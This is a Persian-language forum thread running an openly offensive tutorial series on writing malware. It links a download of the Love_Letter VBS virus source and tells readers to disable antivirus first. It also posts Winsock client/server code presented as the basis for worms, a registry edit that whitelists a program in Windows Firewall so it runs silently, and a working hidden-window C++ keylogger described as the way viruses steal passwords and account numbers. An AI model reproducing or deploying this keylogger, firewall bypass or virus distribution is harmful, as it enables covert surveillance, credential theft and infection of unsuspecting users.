نقل قول:
خب پس حالا ادامه بده :31:
راستی اون تایپیک شیمی مگه محتویاتش چی بود؟ :20:
Printable View
نقل قول:
خب پس حالا ادامه بده :31:
راستی اون تایپیک شیمی مگه محتویاتش چی بود؟ :20:
دقیقاً مطمءن نیستم که به خاطر اون بوده باشه...!نقل قول:
راستی اون تایپیک شیمی مگه محتویاتش چی بود؟
ولی به خاطر همونه...! :دی
چند روز پیش زدن اون تاپیک رو ، روی P30World.ir هیلتر کردن...!
بعد هم زدن تاپیک رو حذف کردن...!
فرداش اومدن زدن کل فروم رو هیلتر کردن...!
بعد هم لابد می خوان کل فروم رو حذف کنن...! :دی
تاپیکش مربوط میشد به ساخت بمب و آزمایش های جالب شیمی...!
لابد گفتن اگه همین جوری پیش بره میرسه به ساختن بمب اتم و موشک قاره پیما و... و زدن هیلترش کردن...!
دوستان چرا این برنامه بد افزارو ادامه نمیدید ؟؟؟
سلام به همه دوستان...! :20:
دوباره برگشتم تا ادامه بدیم...! :10:
اول سورس یه ویروس رو براتون می ذارم که با VBS نوشته شده...!
بعد هم شروع می کنم به آموزش VBS ...!
لینک دانلود ویروس Love_Letter...! :
پسورد فایل : www.p30world.comکد:http://www.irfreeup.com/images/08yiz560kd8wdnkz3niz8.zip
توجه : قبل از این که ویروس رو از حالت فشرده خارج کنید...! آنتی ویروستون رو غیر فعال کنید... تا ویروس رو پاک نکنه...!
توجه : به هیچ وجه ویروس رو اجرا نکنید...! اگر هم به اشتباه این کار رو کردید...! حتماً یه بار سیستم تون رو اسکن کنید...!
بعد از این که ویروس رو از حالت فشرده خارج کردید...! برنامه Notepad رو اجرا کنید و از منوی برنامه گزینه Open رو بزنید و فایل ویروس رو انتخاب کنید تا سورسش نشون داده بشه...!
آموزش رو از پست بعد شروع می کنیم...! :20:
موفق باشید...! :46:
فعلاً...! ;)
دوستان از این پست به بعد آموزش برنامه نویسی VBScript رو شروع می کنیم...! :27:
VBScript یه زبان اسکریپت نویسی قدرتمند از طرف ماکروسافت ه...! به این زبان برنامه نویسی قاتل جاوا اسکریپت هم می گن...! چون همون کار جاوا اسکریپت رو انجام میده... ولی بسیار ساده تر از جاوا اسکریپت ه...!
این زبان برنامه نویسی از ویژوال بیسیک مشتق شده ولی... خیلی از قسمت های ویژوال بیسیک رو نداره...! و خیلی از VB راحت تره...!
توی آموزش ها ما این طور فرض می کنیم که شما با VB آشنایی نسبتاً کاملی دارید...!
قصد ما نوشتن بدافزار ه پس کاربرد و VBS توی صفحات وب و... رو میذاریم کنار...! بیشتر رو قسمت ActiveX ها و...! (به خصوص اشیاء و تابع CreateObject که دسترسی کامل کامپیوتر ما میده...! :21: ) کار می کنیم...!
از پست بعدی آموزش رو شروع می کنیم...! :20:
در ابتدا نقاط اشتراک و تفاوت های این دو زبان رو بررسی می کنیم و بعد از اون وارد بحث اصلی خودمون می شیم...!
(یعنی همون بدافزار نویسی...! :21:)
VBS رو دست کم نگیرید...! بعداً سورس کد های بیشتری براتون میذارم تا قدرت این زبان اسکریپت نویسی رو درک کنید...! ورم ها و ویروس های زیادی با این زبان نوشته شدن...! :21:
البته این رو هم بگم که تمام سعی ماکروسافت رو این بود که امنیت این زبان اسکریپت نویسی بالا بره ولی...! حتی قسمت هایی از ویژوال بیسیک که حذف شده... به خاطر همین موضوع امنیت بوده...! :27:
فعلاً بای...! :46:
دوست عزیز برای یه آموزش چقدر پست میدی لطفا تو هر پست آموزش رو بدید
سلام
دستت درد نکنه امیرمحمد جان. من یه منبع خوب سراغ دارم میتونی برای آموزش هات ازشون استفاده کنی.
اگر کسی مایل بود میتونه خودش کتاب ها رو بخونه:
به نظرم که خیلی خوب داره کار می کنه.کد:http://www.ashiyane.org/forums/showthread.php?t=22716
این هم آموزشش تو HTML :
توضیحات:کد:http://dl.irpdf.com/CD4/(1908).zip
کد:http://www.ashiyane.org/forums/showpost.php?p=121171&postcount=1
آقا پسورد آموزش تو HTML چیه؟!
ممنون از اين كه تذكر داديد...! :11:نقل قول:
دوست عزیز برای یه آموزش چقدر پست میدی لطفا تو هر پست آموزش رو بدید
تا جايي كه بتونم مطالب رو تو يه پست مي نويسيم...! :20:
ولي... نميشه همه رو يكي كرد...!حجمش زياد ميشه و توي تايپ كردنش به مشكل برمي خورم...! يه كم سخت ميشه...! :13:
ممنون مرتضي جان...! چيز هاي خوبيه اما...! من ميانه خوبي با اين گروه لاشيانه ندارم...! :41:نقل قول:
دستت درد نکنه امیرمحمد جان. من یه منبع خوب سراغ دارم میتونی برای آموزش هات ازشون استفاده کنی.
تو 24 ساعت سايت شون دوبار Deface شد...!؟!:38: اونوقت ميان حرف از امنيت مي زنن و كلاس هاي آموزشي مي ذارن و...! :31:
سايتي كه با پول بشه توش ستاره خريد ارزش پست دادن و وقت گذاشتن نداره...! :2:
من دوست دارم به جاي اين كه منابع مطالب P30World سايت ديگه اي باشه...! منابع سايت هاي ديگه P30World باشه...!:43:
به خاطر همين همه مطالب رو از خودم ميذارم...! :27:
از همه دوستان ممنونم...! :40:
فعلاً... باي...! :46:
نميشه با برنامه نويسي مثل ++c يا C# و دلفي بگذارين ؟ بعد يك چيزي ديگه چرا فايل ويروس را دانلود كنيم همينجا سورس را بگذار ديگه . ممنون [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
سی شارپ که اصلاً به درد ویروس نویسی نمی خوره...! چون NET Framework. می خواد...! :2:نقل قول:
ولی C و ++C رو بعداً براتون سورس میذارم...! :27:
فعلاً با همون VBS کار می کنیم...! چون هم ساده است و درک کد هاش راحته... و هم OpenSource ه و هم میشه تو ضفحات وب ازش استفاده کرد و ویروس رو بدون این که قربانی بازدید کننده بفهمه... رو کامپیوترش نصب کرد...! :21:
چند تا سورس اسمبلی هم دارم...! از این ویروس هایی که رو سخت افزار رژه میره...! :21: اونا رو هم بعداً براتون میذارم...! :27:
راستی...! چرا فقط من دارم مطلب آموزشی میذارم...! چرا بقیه هیچ کمکی نمی کنند...؟ :13:
موفق باشید...! :46:
فعلاً بای...! :40:
حتما با c++ و Borland Delphi 7 يادت نره .
اینم از طرف بنده امیدوارم که در ارتقای سطح علمی دوستان موثر باشه :
سورس کد یک SERVER/RECIVER به زبان C (تو پست بعدی SENDER/CLIENT رو هم میزارم)
این سورس جنبه آموزشی داره و هیچ خطری برای سیستم ندارد.
از این تکنیک برای ساخت کرم ها و ویروسهایی که قابلیت بر قراری ارتباط در شبکه را دارند استفاده میشود.
البته هر SERVER/RECIVER برای برقراری ارتباط کامل عملا به یک SENDER/CLIENT نیاز داره که سورس آموزشی اونو هم میزارم.
برای درک بهتر این سورس نیاز به کمی تسلط بر زبان C میباشد
هر سوالی مربوط به این سورس کد داشتید درخدمتم.
ممکنه به علت برخی از محدودیت ها در ارسال پست سورس کد دچار چند اشکال تحریری شده باشه که براحتی میتونید در محیط VS اونو درست کنید
کد:
#include
<winsock2.h>
#include
<stdio.h>
// A sample of the select() return value
int
recvTimeOutTCP(SOCKET socket, long sec, long usec)
{
// Setup timeval variable
struct timeval
timeout;
struct fd_set
fds;
// assign the second and microsecond variables
timeout.tv_sec = sec;
timeout.tv_usec = usec;
// Setup fd_set structure
FD_ZERO(&fds);
FD_SET(socket, &fds);
// Possible return values:
// -1: error occurred
// 0: timed out
// > 0: data ready to be read
return select
(0, &fds, 0, 0, &timeout);
}
int
main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET ListeningSocket, NewConnection;
SOCKADDR_IN ServerAddr, SenderInfo;
int
Port = 7171;
// Receiving part
char
recvbuff[1024];
int
ByteReceived, i, nlen, SelectTiming;
// Initialize Winsock version 2.2
if
(WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
{
// The WSAGetLastError() function is one of the only functions
// in the Winsock 2.2 DLL that can be called in the case of a WSAStartup failure
printf(
"Server: WSAStartup failed with error %ld.\n", WSAGetLastError());
// Exit with error
return
1;
}
else
{
printf(
"Server: The Winsock DLL found!\n");
printf(
"Server: The current status is %s.\n" , wsaData.szSystemStatus);
}
if
(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2 )
{
//Tell the user that we could not find a usable WinSock DLL
printf(
"Server: The dll do not support the Winsock version %u.%u!\n" ,
LOBYTE(wsaData.wVersion),HIBYTE(wsaData.wVersion));
// Do the clean up
WSACleanup();
// and exit with error
return
1;
}
else
{
printf(
"Server: The dll supports the Winsock version %u.%u!\n" , LOBYTE(wsaData.wVersion),
HIBYTE(wsaData.wVersion));
printf(
"Server: The highest version this dll can support is %u.%u\n" ,
LOBYTE(wsaData.wHighVersion), HIBYTE(wsaData.wHighVersion));
}
// Create a new socket to listen for client connections.
ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// Check for errors to ensure that the socket is a valid socket.
if
(ListeningSocket == INVALID_SOCKET)
{
printf(
"Server: Error at socket(), error code: %ld.\n", WSAGetLastError());
// Clean up
WSACleanup();
// and exit with error
return
1;
}
else
printf(
"Server: socket() is OK!\n");
// Set up a SOCKADDR_IN structure that will tell bind that we
// want to listen for connections on all interfaces using port 7171.
// The IPv4 family
ServerAddr.sin_family = AF_INET;
// host-to-network byte order
ServerAddr.sin_port = htons(Port);
// Listen on all interface, host-to-network byte order
ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY);
// Associate the address information with the socket using bind.
// Call the bind function, passing the created socket and the sockaddr_in
// structure as parameters. Check for general errors.
if
(bind(ListeningSocket, (SOCKADDR *)&ServerAddr, sizeof(ServerAddr)) == SOCKET_ERROR)
{
printf(
"Server: bind() failed! Error code: %ld.\n", WSAGetLastError());
// Close the socket
closesocket(ListeningSocket);
// Do the clean up
WSACleanup();
// and exit with error
return
1;
}
else
printf(
"Server: bind() is OK!\n");
// Listen for client connections with a backlog of 5
if
(listen(ListeningSocket, 5) == SOCKET_ERROR)
{
printf(
"Server: listen(): Error listening on socket %ld.\n", WSAGetLastError());
// Close the socket
closesocket(ListeningSocket);
// Do the clean up
WSACleanup();
// Exit with error
return
1;
}
else
printf(
"Server: listen() is OK, I'm listening for connections...\n" );
// Set 10 seconds 10 useconds timeout
SelectTiming = recvTimeOutTCP(ListeningSocket, 10, 10);
switch
(SelectTiming)
{
case
0:
// Timed out, do whatever you want to handle this situation
printf(
"\nServer: Timeout lor while waiting you retard client!...\n" );
break
;
case
-1:
// Error occurred, more tweaking here and the recvTimeOutTCP()...
printf(
"\nServer: Some error encountered with code number: %ld\n", WSAGetLastError());
break
;
default
:
{
// Accept a new connection when available. 'while' always true
while
(1)
{
// Reset the NewConnection socket to SOCKET_ERROR
// Take note that the NewConnection socket in not listening
NewConnection = SOCKET_ERROR;
// While the NewConnection socket equal to SOCKET_ERROR
// which is always true in this case...
while
(NewConnection == SOCKET_ERROR)
{
// Accept connection on the ListeningSocket socket and assign
// it to the NewConnection socket, let the ListeningSocket
// do the listening for more connection
NewConnection = accept(ListeningSocket, NULL, NULL);
printf(
"\nServer: accept() is OK...\n");
printf(
"Server: New client got connected, ready to
receive and send data...\n"
);
// At this point you can do two things with these sockets
// 1. Wait for more connections by calling accept again
// on ListeningSocket (loop)
// 2. Start sending or receiving data on NewConnection.
ByteReceived = recv(NewConnection, recvbuff,
sizeof(recvbuff), 0);
// When there is data
if
( ByteReceived > 0 )
{
printf(
"Server: recv() looks fine....\n");
// Some info on the receiver side...
getsockname(ListeningSocket, (SOCKADDR *)&ServerAddr,
(
int *)sizeof(ServerAddr));
printf(
"Server: Receiving IP(s) used: %s\n",
inet_ntoa(ServerAddr.sin_addr));
printf(
"Server: Receiving port used: %d\n", htons(ServerAddr.sin_port));
// Some info on the sender side
// Allocate the required resources
memset(&SenderInfo, 0,
sizeof(SenderInfo));
nlen =
sizeof(SenderInfo);
getpeername(NewConnection, (SOCKADDR *)&SenderInfo, &nlen);
printf(
"Server: Sending IP used: %s\n", inet_ntoa(SenderInfo.sin_addr));
printf(
"Server: Sending port used: %d\n", htons(SenderInfo.sin_port));
// Print the received bytes. Take note that this is the total
// byte received, it is not the size of the declared buffer
printf(
"Server: Bytes received: %d\n", ByteReceived);
// Print what those bytes represent
printf(
"Server: Those bytes are: \"");
// Print the string only, discard other
// remaining 'rubbish' in the 1024 buffer size
for
(i=0;i < ByteReceived;i++)
printf(
"%c", recvbuff[i]);
printf(
"\"");
}
// No data
else if
( ByteReceived == 0 )
printf(
"Server: Connection closed!\n");
// Others
else
printf(
"Server: recv() failed with error code: %d\n" , WSAGetLastError());
}
// Clean up all the send/recv communication, get ready for new one
if
( shutdown(NewConnection, SD_SEND) != 0)
printf(
"\nServer: Well, there is something wrong with the
shutdown(). The error code: %ld\n"
, WSAGetLastError());
else
printf(
"\nServer: shutdown() looks OK...\n");
// Well, if there is no more connection in 15 seconds,
// just exit this listening loop...
if
( recvTimeOutTCP(ListeningSocket, 15, 0) == 0)
break
;
}
}
}
printf(
"\nServer: The listening socket is timeout...\n");
// When all the data communication and listening finished, close the socket
if
(closesocket(ListeningSocket) != 0)
printf(
"Server: Cannot close \"ListeningSocket\" socket. Error code: %ld\n" , WSAGetLastError());
else
printf(
"Server: Closing \"ListeningSocket\" socket...\n");
// Finally and optionally, clean up all those WSA setup
if
(WSACleanup() != 0)
printf(
"Server: WSACleanup() failed! Error code: %ld\n", WSAGetLastError());
else
printf(
"Server: WSACleanup() is OK...\n");
return
0;
}
فقط برای کامپایل در VS باید تنظیمات زیرو انجام بدید
به بخش Propertis پروژه برید و این عملیاتو انجام بدید.
به بخش Advanced از شاخه ++C/C بروید و گزینه Compile As رو به Compile as C Code تغییر بدید.
به بخش Input از شاخه Linker بروید و در قسمت Additional Dependencies کلمه ws2_32.lib را اضافه کنید.
اگر تنظیماتو به درستی انجام بدید بعد کامپایل و اجرای پروژه پنجره مربوط به FireWall باز میشه.
موفق باشید.
اینم سورس یک SENDER/CLIENT که برای کامپایل باید تنظیمات نوشته شده در پست قبلیو انجام بدید.
در این رابطه هم اگر سوالی داشتید بپرسید.
برای استفاده از دو برنامه اول SERVER رو اجرا کرده و سپس CLIENT رو اجرا کنید تا از صحت کار با خبر بشید.کد:
#include<winsock2.h>
#include<stdio.h>
intmain(int argc, char **argv)
{
WSADATA wsaData;
SOCKET SendingSocket;
// Server/receiver addressSOCKADDR_IN ServerAddr, ThisSenderInfo;// Server/receiver port to connect tounsigned intPort = 7171;
intRetCode;
// Be careful with the array bound, provide some checking mechanism...charsendbuf[1024] = "This is a test string from sender";
intBytesSent, nlen;
// Initialize Winsock version 2.2WSAStartup(MAKEWORD(2,2), &wsaData);
printf("Client: Winsock DLL status is %s.\n" , wsaData.szSystemStatus);
// Create a new socket to make a client connection.
// AF_INET = 2, The Internet Protocol version 4 (IPv4) address family,
TCP protocolSendingSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(SendingSocket == INVALID_SOCKET)
{
printf("Client: socket() failed! Error code: %ld\n" ,
WSAGetLastError());
// Do the clean upWSACleanup();// Exit with errorreturn-1;
}
elseprintf("Client: socket() is OK!\n");
// Set up a SOCKADDR_IN structure that will be used to connect
// to a listening server on port 5150. For demonstration
// purposes, let's assume our server's IP address is 127.0.0.1 or
localhost
// IPv4ServerAddr.sin_family = AF_INET;// Port no.ServerAddr.sin_port = htons(Port);// The IP addressServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
// Make a connection to the server with socket SendingSocket.RetCode = connect(SendingSocket, (SOCKADDR *) &ServerAddr,sizeof(ServerAddr));
if(RetCode != 0)
{
printf("Client: connect() failed! Error code: %ld\n",
WSAGetLastError());
// Close the socketclosesocket(SendingSocket);// Do the clean upWSACleanup();// Exit with errorreturn-1;
}
else{
printf("Client: connect() is OK, got connected...\n");
printf("Client: Ready for sending and/or receiving data...\n" );
}
// At this point you can start sending or receiving data on
// the socket SendingSocket.
// Some info on the receiver side...getsockname(SendingSocket, (SOCKADDR *)&ServerAddr, (int
*)sizeof(ServerAddr));
printf("Client: Receiver IP(s) used: %s\n",
inet_ntoa(ServerAddr.sin_addr));
printf("Client: Receiver port used: %d\n", htons(ServerAddr.sin_port));
// Sends some data to server/receiver...BytesSent = send(SendingSocket, sendbuf, strlen(sendbuf), 0);if(BytesSent == SOCKET_ERROR)
printf("Client: send() error %ld.\n", WSAGetLastError());
else{
printf("Client: send() is OK - bytes sent: %ld\n" , BytesSent);
// Some info on this sender side...
// Allocate the required resourcesmemset(&ThisSenderInfo, 0,sizeof(ThisSenderInfo));
nlen = sizeof(ThisSenderInfo);
getsockname(SendingSocket, (SOCKADDR *)&ThisSenderInfo, &nlen);
printf("Client: Sender IP(s) used: %s\n",
inet_ntoa(ThisSenderInfo.sin_addr));
printf("Client: Sender port used: %d\n",
htons(ThisSenderInfo.sin_port));
printf("Client: Those bytes represent: \"%s\"\n", sendbuf);
}
if( shutdown(SendingSocket, SD_SEND) != 0)
printf("Client: Well, there is something wrong with the shutdown().
The error code: %ld\n", WSAGetLastError());
elseprintf("Client: shutdown() looks OK...\n");
// When you are finished sending and receiving data on socket
SendingSocket,
// you should close the socket using the closesocket API. We will
// describe socket closure later in the chapter.if(closesocket(SendingSocket) != 0)
printf("Client: Cannot close \"SendingSocket\" socket. Error code:
%ld\n", WSAGetLastError());
elseprintf("Client: Closing \"SendingSocket\" socket...\n");
// When your application is finished handling the connection, call
WSACleanup.if(WSACleanup() != 0)
printf("Client: WSACleanup() failed!...\n");
elseprintf("Client: WSACleanup() is OK...\n");
return0;
}
یه مطلبی که مر تبط با 2 تا پست قبلی هم هست میخوام بگم و اونم از کار انداختن FireWall ویندوز هست.
این روش کاملا ساده هست فقط باید یه تغییراتی در رجیستری صورت بدید.
به این آدرس برید:
یک مقدار از نوع REG_SZ درست کنید و آدرس فایل سرور را در آن وارد کنید.کد:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
با این کار زمان اجرای سرور FireWall ویندوز باز نخواهد شد.
موفق باشید.
این قدیمی بود...! :13:نقل قول:
ولی ممنون...! :11:
اگه راست میگی... FireWall ByPass بذار...! :27:
شاید برای یکی تازگی داشته باشه.نقل قول:
این قدیمی بود...!
فکر نمیکنم این مطلب زیاد بدرد اینجا (آموزش بدافزار نویسی) بخوره!!نقل قول:
اگه راست میگی... FireWall ByPass بذار...!
و مهمتر از اون اینه که توضیح و آموزش این مطلب از وقت و حوصله بنده خارج هست.
ولی تو نت لینک آموزشی زیاد داره.
نوبتی هم که باشه نوبت شماست که یه مطلب بزاری:10:
موفق باشید.
به نام خدا.
سلام.چند روزی بود که نمیتونستم به اینجا سر بزنم و الان هم میبینم که هیچکس هیچ پستی نداده و تاپیک خیلی قدیمی شده.
تصمیم گرفتم که یه مطلب کوچیک بزارم و امیدوارم که مفید باشه.
مطلبی که میخوام بزارم مربوط میشه به یک KeyLogger که در اکثر ویروس ها و یا تروجان ها از این متود استفاده میشه(بیشتر برای بدست آوردن رمزهای عبور و شماره های حساب و .... که توسط کاربر استفاده میشه و فرستادن اونها برای نویسنده ویروس)
KeyLogger ها همانطور که از اسمشون معلومه تمام کلید هایی که فشرده میشه توسط کاربر در طول کار با سیستمو ذخیره میکنه.
این هم یک نمونه ساده از سورس این برنامه به همراه کامنت فارسی(زبان ++C):
کد:
#include<windows.h>
#include<WinBase.h>
#include<string>
#include<fstream>
usingnamespace std;
string GetKey(int Key){
string KeyString ="";
/*مقدار رشته ای جایگزین شونده ارزش عددی کلیدها*/
if(Key ==8) KeyString ="[delete/back]";
elseif(Key ==13) KeyString ="\n";
elseif(Key ==32) KeyString =" ";
elseif(Key == VK_PAUSE) KeyString ="[PAUSE]";
elseif(Key == VK_CAPITAL) KeyString ="[CAPITAL]";
elseif(Key == VK_SHIFT) KeyString ="[SHIFT]";
elseif(Key == VK_TAB) KeyString ="[TAB]";
elseif(Key == VK_CONTROL) KeyString ="[CTRL]";
elseif(Key == VK_ESCAPE) KeyString ="[ESCAPE]";
elseif(Key == VK_END) KeyString ="[END]";
elseif(Key == VK_HOME) KeyString ="[HOME]";
elseif(Key == VK_LEFT) KeyString ="[align=left]";
elseif(Key == VK_RIGHT) KeyString ="[align=right]";
elseif(Key == VK_UP) KeyString ="[UP]";
elseif(Key == VK_DOWN) KeyString ="[DOWN]";
elseif(Key == VK_SNAPSHOT) KeyString ="[SNAPSHOT]";
elseif(Key == VK_NUMLOCK) KeyString ="[NUMLOCK]";
elseif(Key ==190|| Key ==11) KeyString =".";
elseif(Key >=96&& Key <=105) KeyString = Key-48;
elseif(Key >47&& Key <60) KeyString = Key;
if(Key != VK_LBUTTON || Key != VK_RBUTTON){
if(Key >64&& Key <91){
if(GetKeyState(VK_CAPITAL)) KeyString = Key;
else{
Key = Key +32;
KeyString = Key;
}
}
}
return KeyString;
}
int main(){
// مخفی کردن برنامه
AllocConsole();
HWND hidden = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(hidden,0);
// ایجاد دایرکتوری مورد نظر برای ذخیره کلیدهای فشرده شده
CreateDirectory((LPCSTR)"c:\\MyTemp", NULL);
// باز کردن فایل برای ذخیره اطلاعات در آن
string file ="c:\\MyTemp\\log.txt";
fstream fout;
fout.open(file.c_str(), std::fstream::out | std::fstream::app);
// شروع عملیات
string currentKey ="";
while(true){
Sleep(5);
for(int i =8; i <191; i++){
if(GetAsyncKeyState(i)&1==1){
currentKey = GetKey (i);
fout.write(currentKey.c_str(), currentKey.size());
fout.close();
fout.open(file.c_str(), fstream::out | fstream::app);
}
}
}
}
روش کارش هم به اینصورته که اول یک فایل به نام Log.txt در این آدرس C:\MyTemp\ ایجاد میکنه و تمام کلید های فشرده شده توسط کاربرو داخل این فایل ذخیره میکنه.
برای بدست آوردن کلید ها هم از تابع GetAsyncKeyState استفاده میکنه.
اگر سوالی هم داشتید در خدمتم.
اگر وقت کنم تو پست های بعدی ShellCoding و روش های ایجاد و استفاده از اونو میگم.
موفق باشید.
فکر میکنم این تاپیک زیاد طرفدار نداره و بنده هم از اینکه مطلب بزارم یکم دلسرد شدم.(تقریبا از پست قبلی تا الان 50 نفر این تاپیکو مشاهده کردن ولی هیچکس حتی یک نظر خشکو خالی هم نداده:13:بجز یک تشکر:10:)
شایدم سطح دانش افرادی که این تاپیکو میبینند به اندازه ای هست که تمام مطالبو کامل میفهمند و نیازی به سوال ندارند!
به نام خدا
طبق در خواست یکی از دوستان تصمیم گرفتم تا این تاپیکو دوباره بروز کنیم.
مطلبی که اینبار میخوام بزارم مربوط میشه به نحوه استفاده از Winsock (Windows Socket) که در اصل یکی از API های Windows میباشد که برای ارتباط در شبکه استفاده میشوند.در پست های قبلی سورس کدهایی که در آن از این روش استفاده شده رو قرار دادم (SERVER/CLIENT) ولی با توجه به اینکه درک این کدها برای افراد مبتدی یکم دشوار بود تصمیم گرفتم تا این مبحثو به روش ساده و گویا توضیح بدم(با توجه به اینکه منابع فارسی و کامل برای این موضوع اندک هست)
این موضوع یکی از اصلی ترین و پایه ای ترین موارد در ساخت کرم ها بحساب میاد.
همیشه بعد از کشف یک نفوذ پذیری برای نوشتن Exploit مربوط به آن و نفوذ به سیستم آسیب پذیر از این API و توابع اون استفاده میشه.(برای اتصال به سیستم هدف و طزریق ShellCod)
چند نمونه از از کاربرد های این API :
ساخت برنامه ارسال ایمیل – ساخت برنامه های Chat – ساخت مرورگر وب – و ......
--------------------------
نمام توابع Winsock عملیات خودشون رو در یک Socket انجام میدهند.Socket در اصل یک دستگیره (Handle) به یک ارتباط میباشد که در طرف مقابل هم توسط Socket دیگری پشتیبانی میشود.
جالب هست که بدونید هردو خانواده از سیستم عامل های Windows و Unix میتوانند توسط Socket ها با هم ارتباط برقرار کنند.
Socket ها به دو منظور مورد استفاده قرار میگیرند
1-ارسال اطلاعات
2-در یافت اطلاعات
عمومی ترین و پراستفاده ترین Socket ها دارای 2 نوع هستند.
1-streaming socket (SOCK_STREAM)
2-datagram socket (SOCK_DGRAM)
Socket نوع Streaming برای کاربرد هایی طراحی شده هست که نیاز به یک ارتباط قابل اطمینان و موثر دارند که اغلب بصورت جریانی از داده های پشت سر هم از آن استفاده میشود.
Socket نوع Datagram که از پروتوکل UDP استفاده میکنه و دارای بالاترین مقدار Buffer هست.این نوع Socket برای کاربرد هایی طراحی شده که در آن اطلاعات بصورت بسته های کوچک ارسال میشه و نیازی هم به اطمینان بالا در ارتباط نیست. در این نوع Socket هیچ تضمینی برای رساندن اطلاعات به مقصد و صحت اطلاعات وجود نداره. این Socket دارای مزیت هایی هم هست و اون سرعت بالا در ارسال اطلاعات نسبت به Socket نوع قبلی هست و بیشتر در برنامه های پخش صوت و تصویر بصورت زنده از روی شبکه استفاده میشه.
بنده در این آموزش میخواهم از Socket نوع اول و از پروتوکل (Protocol) TCP (Transmission Control Protocol) استفاده کنم.البته استفاده از این Socket فقط محدود به این پروتوکل نیست.
در این قسمت از آموزش بخش های آماده سازی و استفاده از یک Socket را همراه با مثال قرار میدم.
(از Winsock 2.2 استفاده شده)
تعریف مقادیر لازم:
حالا میخواهیم Winsock رو برای استفاده آماده کنم.کد:WSADATA wsaData;
// پریز اتصال
SOCKET SendingSocket;
// تعیین آدرس مقصد
SOCKADDR_IN ServerAddr, ThisSenderInfo;
// تعیین پورت اتصال
unsignedint Port =1589;
int RetCode;
// رشته ارسالی
char sendbuf[1024]="My String for test";
// برای مطلع شدن از بایت های ارسال شده
int BytesSent, nlen;
کد:// آماده سازی وایجاد Winsock v 2.2
WSAStartup(MAKEWORD(2,2),&wsaData);
// نمایش وضعیت Winsock
printf("Client: Winsock DLL status is %s.\n", wsaData.szSystemStatus);
حالا Socket ی که از قبل تعریف کرده بودیمو برای ارتباط آماده سازی میکنیم.
حالا باید Socket ایجاد شده رو امتحان کنیم.کد:// ایجاد و آماده سازی یک سوکت جدید برای برقراری ارتباط
// AF_INET = 2, IPv4
SendingSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
اگر Socket موقع اجرا با اشکال مواجه بشه:کد:// تست سوکت برای اطمینان از کارکرد و صحت آن
if(SendingSocket == INVALID_SOCKET)
در غیر اینصورت:کد:
{
//ایجاد سوکت با مشکل مواجه شده است
//نمایش پیغام خطا
printf("Client: socket() failed! Error code: %ld\n",
WSAGetLastError());
// انجام عملیات پاکسازی
WSACleanup();
// خروج توسط خطا
return-1;
}
در این قسمت متغییر ServerAddr رو تنظیم میکنیم.کد:
else
//سوکت برای استفاده آماده است
printf("Client: socket() is OK!\n");
من برای IP مقدار Local تعریف کردم که در اصل به سیستم خودم وصل میشم ولی میتونید هر IP که خواستید رو امتحان کنید.
برای پورت هم من از پورت 1589 استفاده کردم که شما میتونید اونو به پورت دلخواهتون تغییر بدید.
حالا میخوایم یک ارتباط با مقصدی که تعیین کردیم برقرار کنیم.کد:
// برای ایجاد ارتباط SOCKADDR_IN پیکر بندی و تنظیم ساختار
// IPv4
ServerAddr.sin_family = AF_INET;
// پورت اتصال.
ServerAddr.sin_port = htons(Port);
// آی پی آدرس
ServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
اگر در مورد پارامتر های هر یک از توابع بکار برده شده مشکلی داشتید مطرح کنید.
بعد از اتصال باید مطمئن بشیم که اتصال با موفقیت انجام شده:کد:
// برقراری ارتباط با مقصد تعیین شده توسط Socket
RetCode = connect(SendingSocket,(SOCKADDR *)&ServerAddr,sizeof(ServerAddr));
در غیر اینصورت(زمانی که ارتباط با موفقیت انجام بشه)کد:
if(RetCode !=0)
{
//برقراری ارتباط با مقصد ممکن نبوده
//نمایش پیغام خطا
printf("Client: connect() failed! Error code: %ld\n",
WSAGetLastError());
// بستن سوکت متصل
closesocket(SendingSocket);
// انجام عملیات پاکسازی
WSACleanup();
// خروج توسط خطا
return-1;
}
حالا وقتش رسیده که به ارسال و دریافت اطلاعات اقدام کنیمکد:
else
printf("Client: connect() is OK, got connected...\n");
بعد از اینکه بایتهای ما ارسال شد باید از صحت آن مطلع شدیمکد:
// فرستادن اطلاعات به مقصد
BytesSent = send(SendingSocket, sendbuf, strlen(sendbuf),0);
برای اینکار مقدار BytesSent رو امتحان میکنیم.
در غیر اینصورت(زمانی که بایتها با موفقیت ارسال شوند)کد:
//مطئن شدن از صحت بایت های ارسال شده
if(BytesSent == SOCKET_ERROR)
//نمایش خطا احتمالی
printf("Client: send() error %ld.\n", WSAGetLastError());
بعد از اینکه کار ما با Socket تمام شد باید اونو از بین ببریم(بصورت زیر):کد:
else
//نمایش بایتهای ارسال شده
printf("Client: send() is OK - bytes sent: %ld\n", BytesSent);
برای استفاده باید تمام کدهارو پشت هم قرار بدید (در main) و همچنینی تنظیماتی که در پستهای قبلی گفتم رو انجام بدید.کد:
//امتحان سوکت برای بستن آن
if(closesocket(SendingSocket)!=0)
//سوکت در هنگام بستن به مشکل برخورده
//نمایش خطا رخ داده
printf("Client: Cannot close \"SendingSocket\" socket. Error code: %ld\n", WSAGetLastError());
else
//سوکت با موفقیت بسته شد
printf("Client: Closing \"SendingSocket\" socket...\n");
// پاکسازی منابع
if(WSACleanup()!=0)
//پاکسازیه به مشکل برخورده
printf("Client: WSACleanup() failed!...\n");
else
//پاکسازی با موفقیت انجام شد
printf("Client: WSACleanup() is OK...\n");
return0;
}
منبع: خودم! (Milad):5:
پایان.
موفق و پیروز باشید.
من تازه عضو شدم تاپیک خوبی هست چرا دیگه ادامه نمیدین؟
درس... مدرسه... معلم های دلسوز...!؟! :31:نقل قول:
من تازه عضو شدم تاپیک خوبی هست چرا دیگه ادامه نمیدین؟
تابستون چه دورانی بود...!؟!؟!؟! :king:
